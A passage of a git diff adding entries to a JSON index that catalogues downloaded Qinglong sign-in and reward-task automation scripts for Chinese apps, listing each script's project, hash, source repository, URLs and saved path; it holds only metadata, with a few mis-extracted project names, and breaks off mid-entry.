"脚本库/web版/抓包/100bt百田游戏/2025-06-28_百田网_8da05cf4.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "17k", @@ -319,6 +463,38 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "360社区签到", + "filename": "2026-04-07_360_6ad9e634.py", + "sha256": "6ad9e6349174feff19123a743bc626bb84d6916c289d4ab3017d6b967b231a6e", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/360.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/360.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/360.py", + "uploaded_at": "2026-04-07T07:05:19Z", + "saved_path": "脚本库/web版/抓包/360社区签到/2026-04-07_360_6ad9e634.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "BREO", + "filename": "2026-04-07_BREO_446c598f.py", + "sha256": "446c598f98f635052297065eb89ca1d0a7ae4a9e0c9caf49cdb7b41cd1e8f585", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/BREO.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/BREO.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/BREO.py", + "uploaded_at": "2026-04-07T11:05:15Z", + "saved_path": "脚本库/web版/抓包/BREO/2026-04-07_BREO_446c598f.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "B站每日任务", @@ -415,6 +591,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "breo", + "filename": "2025-06-28_breo_647b98a9.py", + "sha256": "647b98a9b738f298f61a064abe47421a4511e74520de74cd4653c39e236dcd5a", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "breo.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/breo.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/breo.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/breo/2025-06-28_breo_647b98a9.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "ccw", @@ -463,6 +655,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "function_res_{", + "filename": "2025-06-28_Ruishu_0132420d.py", + "sha256": "0132420d27d358f8cd91749b877206aee7e2a86cec5cd99c8c119392e4d604f3", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "Ruishu.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/Ruishu.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/Ruishu.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/function_res_{/2025-06-28_Ruishu_0132420d.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "hzw", @@ -479,6 +687,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "item.taskTitle,", + "filename": "2025-06-28_爱奇艺会员_d89c064a.js", + "sha256": "d89c064a84fb3e17e19eac30dbe39969dc321b57ff1a485fb526ec785fc431a7", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "爱奇艺会员.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B1%E5%A5%87%E8%89%BA%E4%BC%9A%E5%91%98.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B1%E5%A5%87%E8%89%BA%E4%BC%9A%E5%91%98.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/item.taskTitle,/2025-06-28_爱奇艺会员_d89c064a.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "mtmc", @@ -511,6 +735,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "only_mi", + "filename": "2025-08-25_ql_only_mi_dc606d90.py", + "sha256": "dc606d90cb26ba29201ee384a3989fb2cf397a1a20262a6c8cb56e777836fe48", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_only_mi.py", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_only_mi.py", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_only_mi.py", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/抓包/only_mi/2025-08-25_ql_only_mi_dc606d90.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "pfjsq", @@ -575,6 +815,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "sendNotify", + "filename": "2025-06-03_sendNotify_c3b909e6.py", + "sha256": "c3b909e625f5fce60874cd1324e5e9a62b581ca11ac7aeb7f6bec4dc45de2003", + "source_platform": "GitHub", + "source_repo": "jdqlscript/zyqinglong", + "source_path": "sendNotify.py", + "source_url": "https://gitee.com/jdqlscript/zyqinglong/blob/main/sendNotify.py", + "raw_url": "https://gitee.com/jdqlscript/zyqinglong/raw/main/sendNotify.py", + "uploaded_at": "2025-06-03T12:08:50+08:00", + "saved_path": "脚本库/web版/抓包/sendNotify/2025-06-03_sendNotify_c3b909e6.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "tst", @@ -639,6 +895,86 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "vx体彩服务号", + "filename": "2025-06-28_体彩通杀_b2c5ac79.js", + "sha256": "b2c5ac7907b9c9e02d1b5acab0741db255b2fbd15ef752e32b89cc84ce5eabb9", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "体彩通杀.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%BD%93%E5%BD%A9%E9%80%9A%E6%9D%80.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%BD%93%E5%BD%A9%E9%80%9A%E6%9D%80.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/vx体彩服务号/2025-06-28_体彩通杀_b2c5ac79.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "vx日清体验馆", + "filename": "2025-06-28_日清体验馆_12996359.js", + "sha256": "12996359926a7fb4e4ca65956713a43b329273dfa13ba40001bd67e41b4e602d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "日清体验馆.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%97%A5%E6%B8%85%E4%BD%93%E9%AA%8C%E9%A6%86.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%97%A5%E6%B8%85%E4%BD%93%E9%AA%8C%E9%A6%86.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/vx日清体验馆/2025-06-28_日清体验馆_12996359.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "vx毛铺草本荟", + "filename": "2025-06-28_毛铺草本荟_391b94a7.js", + "sha256": "391b94a744673742e4939cea8a33b720f68b4e405dfa62cf10242fe46cbfbca3", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "毛铺草本荟.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%AF%9B%E9%93%BA%E8%8D%89%E6%9C%AC%E8%8D%9F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%AF%9B%E9%93%BA%E8%8D%89%E6%9C%AC%E8%8D%9F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/vx毛铺草本荟/2025-06-28_毛铺草本荟_391b94a7.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "wx_庙友之家", + "filename": "2026-05-14_miaoyouHome_1329d61d.js", + "sha256": "1329d61db9ba3db8767461e0d23af495fe2f6cfea2c89049bf66451b2a63ef63", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "wxapp/miaoyouHome.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/miaoyouHome.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/miaoyouHome.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/抓包/wx_庙友之家/2026-05-14_miaoyouHome_1329d61d.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "xbox俱乐部V2", + "filename": "2025-06-28_xbox俱乐部_d32e8317.js", + "sha256": "d32e8317359f25098ebbfd22680f96087c513e2215e377e25b84d555b5270c47", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "xbox俱乐部.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/xbox%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/xbox%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/xbox俱乐部V2/2025-06-28_xbox俱乐部_d32e8317.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "zbwx", @@ -655,6 +991,134 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "东方棘市", + "filename": "2025-06-28_东方棘市_892b06ab.py", + "sha256": "892b06ab7625881cee4a8ea91869b68862dc3e51d0e8dcfe32d4bff4e31a4e63", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "东方棘市.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%9C%E6%96%B9%E6%A3%98%E5%B8%82.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%9C%E6%96%B9%E6%A3%98%E5%B8%82.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/东方棘市/2025-06-28_东方棘市_892b06ab.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "东方烟草报", + "filename": "2025-06-28_东方烟草报App_1b5375a5.js", + "sha256": "1b5375a55de4fdf36651e7c45b9b2f0fbcceefb400e21472fe1f76baa51096bc", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "东方烟草报App.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%9C%E6%96%B9%E7%83%9F%E8%8D%89%E6%8A%A5App.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%9C%E6%96%B9%E7%83%9F%E8%8D%89%E6%8A%A5App.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/东方烟草报/2025-06-28_东方烟草报App_1b5375a5.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "东方烟草报", + "filename": "2026-04-07_dfyc_b2cb2a98.js", + "sha256": "b2cb2a98f820da0170af6c58668227bc14d9226ab3f7344b1a73d6f705ebe91b", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/dfyc.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/dfyc.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/dfyc.js", + "uploaded_at": "2026-04-07T12:21:56Z", + "saved_path": "脚本库/web版/抓包/东方烟草报/2026-04-07_dfyc_b2cb2a98.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "中兴商城", + "filename": "2025-06-28_中兴商城_3fecf7b6.py", + "sha256": "3fecf7b602ecddc6cf2ae9f9bc992c5b55dcbc333c15279dc6295ebe5f98cecc", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "中兴商城.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%AD%E5%85%B4%E5%95%86%E5%9F%8E.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%AD%E5%85%B4%E5%95%86%E5%9F%8E.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/中兴商城/2025-06-28_中兴商城_3fecf7b6.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "丰信客户端", + "filename": "2025-06-28_丰信_5b9a593b.js", + "sha256": "5b9a593b0a61aea534a65558654a4455bd821b588874ee6e3ccd7be34f52b9e0", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "丰信.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%B0%E4%BF%A1.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%B0%E4%BF%A1.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/丰信客户端/2025-06-28_丰信_5b9a593b.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "书亦烧仙草", + "filename": "2026-05-14_sysxc_9847bcfd.js", + "sha256": "9847bcfdb319c9cd02fc54d3795fa9930a2ac00a89fce65373feb8f088663c5c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "backup/sysxc.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/backup/sysxc.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/backup/sysxc.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/抓包/书亦烧仙草/2026-05-14_sysxc_9847bcfd.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "书亦烧仙草python版", + "filename": "2026-05-14_sysxc_b9f66359.py", + "sha256": "b9f66359e357df42cb7ba689f5ae6ae61a49e64a850dba95a577e66b9226cff3", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "backup/sysxc.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/backup/sysxc.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/backup/sysxc.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/抓包/书亦烧仙草python版/2026-05-14_sysxc_b9f66359.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "兴攀农场", + "filename": "2025-06-28_兴攀农场_125624b7.js", + "sha256": "125624b7ce6a4d3a1b61b16a14169d0c44c72b5b9808220bc33c3f6d985761dd", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "兴攀农场.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%85%B4%E6%94%80%E5%86%9C%E5%9C%BA.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%85%B4%E6%94%80%E5%86%9C%E5%9C%BA.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/兴攀农场/2025-06-28_兴攀农场_125624b7.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "券妈妈时段奖励", @@ -671,6 +1135,38 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "叭卦优选", + "filename": "2025-06-28_叭卦优选_4c1f1729.py", + "sha256": "4c1f172936322381345aa0d5f5ccbb8c5d23b31c613a4444b6d39257690420e1", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "叭卦优选.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%8F%AD%E5%8D%A6%E4%BC%98%E9%80%89.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%8F%AD%E5%8D%A6%E4%BC%98%E9%80%89.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/叭卦优选/2025-06-28_叭卦优选_4c1f1729.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "叮当快药APP", + "filename": "2025-06-28_叮当快药_eab3ff48.js", + "sha256": "eab3ff48b96752b2c1580fac5da4feb6191a910c7884a1114de5a93184103309", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "叮当快药.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%8F%AE%E5%BD%93%E5%BF%AB%E8%8D%AF.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%8F%AE%E5%BD%93%E5%BF%AB%E8%8D%AF.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/叮当快药APP/2025-06-28_叮当快药_eab3ff48.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "同程旅游", @@ -687,6 +1183,38 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "国乐酱酒", + "filename": "2025-06-28_国乐酱酒_568436f8.js", + "sha256": "568436f8ede36f86da7a36aeb5bafbbda0c81486d850d9fdd3301294b324786c", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "国乐酱酒.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%9B%BD%E4%B9%90%E9%85%B1%E9%85%92.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%9B%BD%E4%B9%90%E9%85%B1%E9%85%92.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/国乐酱酒/2025-06-28_国乐酱酒_568436f8.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "奇瑞汽车", + "filename": "2025-06-28_奇瑞汽车_d970e667.js", + "sha256": "d970e6679bd03e0807503d6cac45c9bcfa703d5304b35c3f9e808b5308a34c3f", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "奇瑞汽车.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%A5%87%E7%91%9E%E6%B1%BD%E8%BD%A6.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%A5%87%E7%91%9E%E6%B1%BD%E8%BD%A6.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/奇瑞汽车/2025-06-28_奇瑞汽车_d970e667.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "好书友论坛_,", @@ -703,6 +1231,38 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "安徽电信", + "filename": "2025-06-28_安徽电信_907729f3.js", + "sha256": "907729f323da3535eb50162e19f041e4cda801f82bb61ea836d4441560b72c38", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "安徽电信.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%AE%89%E5%BE%BD%E7%94%B5%E4%BF%A1.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%AE%89%E5%BE%BD%E7%94%B5%E4%BF%A1.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/安徽电信/2025-06-28_安徽电信_907729f3.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "小紫", + "filename": "2025-06-28_小紫_04f1966f.py", + "sha256": "04f1966f2f6b22487095d315cd1a6838defe98bf62d12665d0dfb9fb20adc56d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "小紫.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E7%B4%AB.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E7%B4%AB.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/小紫/2025-06-28_小紫_04f1966f.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "小黑盒每日签到", @@ -735,6 +1295,38 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "得物森林", + "filename": "2025-06-03_得物森林_124d8271.py", + "sha256": "124d8271a7bf7fdb32959f05def54df8dd35f6a8c5a039d44b02dfe4aa2e4a00", + "source_platform": "GitHub", + "source_repo": "jdqlscript/zyqinglong", + "source_path": "得物森林.py", + "source_url": "https://gitee.com/jdqlscript/zyqinglong/blob/main/%E5%BE%97%E7%89%A9%E6%A3%AE%E6%9E%97.py", + "raw_url": "https://gitee.com/jdqlscript/zyqinglong/raw/main/%E5%BE%97%E7%89%A9%E6%A3%AE%E6%9E%97.py", + "uploaded_at": "2025-06-03T12:08:50+08:00", + "saved_path": "脚本库/web版/抓包/得物森林/2025-06-03_得物森林_124d8271.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "心喜", + "filename": "2025-06-28_心喜小程序_a195dc9a.js", + "sha256": "a195dc9ae52fc26b8357291a30f6778722f554879186e30c02249ebcf0411846", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "心喜小程序.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E5%BF%83%E5%96%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E5%BF%83%E5%96%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/心喜/2025-06-28_心喜小程序_a195dc9a.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "快手双版本金币查询", @@ -751,6 +1343,70 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "捷安特骑行", + "filename": "2025-06-28_捷安特骑行_cde00a24.py", + "sha256": "cde00a24e7d22ffcf989388d81544ad9d81ac4e28168158970b40a866195c1fb", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "捷安特骑行.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%8D%B7%E5%AE%89%E7%89%B9%E9%AA%91%E8%A1%8C.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%8D%B7%E5%AE%89%E7%89%B9%E9%AA%91%E8%A1%8C.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/捷安特骑行/2025-06-28_捷安特骑行_cde00a24.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "掌心临海", + "filename": "2025-06-28_掌心临海_f795ee0f.js", + "sha256": "f795ee0f21a7886ce3bf708e8cd313d69b7e7097aaf4f13878eae7d861e5e3fe", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "掌心临海.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%8E%8C%E5%BF%83%E4%B8%B4%E6%B5%B7.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%8E%8C%E5%BF%83%E4%B8%B4%E6%B5%B7.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/掌心临海/2025-06-28_掌心临海_f795ee0f.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "摩托范", + "filename": "2026-04-07_mtf_43c9ffb5.js", + "sha256": "43c9ffb5194ec2154559fffe845949b7f31cb07bdf8a884b094ec1135c6c729c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/mtf.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/mtf.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/mtf.js", + "uploaded_at": "2026-04-07T12:21:56Z", + "saved_path": "脚本库/web版/抓包/摩托范/2026-04-07_mtf_43c9ffb5.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "浓五的酒馆", + "filename": "2025-06-28_浓五的酒馆_ee3ecc85.py", + "sha256": "ee3ecc859af5c73b12b168aba0154178676c21cf9f7134d0dc43dcb64c34cd65", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "浓五的酒馆.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E6%B5%93%E4%BA%94%E7%9A%84%E9%85%92%E9%A6%86.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E6%B5%93%E4%BA%94%E7%9A%84%E9%85%92%E9%A6%86.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/浓五的酒馆/2025-06-28_浓五的酒馆_ee3ecc85.py", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, { "category": "web版/抓包", "project": "滴滴出行", @@ -767,6 +1423,70 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "爱玛会员俱乐部", + "filename": "2026-04-13_aima_c4bf13f4.js", + "sha256": "c4bf13f4d1a0d91d73bf3e99005689874fbc95559f9b4b60ed3a55f883c90c0c", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/aima.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/aima.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/aima.js", + "uploaded_at": "2026-04-13T11:40:47Z", + "saved_path": "脚本库/web版/抓包/爱玛会员俱乐部/2026-04-13_aima_c4bf13f4.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "福袋生活", + "filename": "2025-06-28_福袋生活_a0e7b152.js", + "sha256": "a0e7b1528aee377d3b9adca875a05ed667e40e3e8c2c87b7f4effa931c71e088", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "福袋生活.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%A6%8F%E8%A2%8B%E7%94%9F%E6%B4%BB.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%A6%8F%E8%A2%8B%E7%94%9F%E6%B4%BB.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/抓包/福袋生活/2025-06-28_福袋生活_a0e7b152.js", + "auth_type": "抓包", + "platform_type": "web版", + "evidence": "web/H5关键词 + cookie/token/header" + }, + { + "category": "web版/抓包", + "project": "第一电动", + "filename": "2025-06-28_第一电动_209af53a.py", + "sha256": "209af53a6ebb564eac88091192e8340740ae58df5af249d08a2205a670fff9b8", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "第一电动.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%AC%AC%E4%B8%80%E7%94%B5%E5%8A%A8.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%AC%AC%E4%B8%80%E7%94%B5%E5%8A%A8.py", + "uploaded_at": 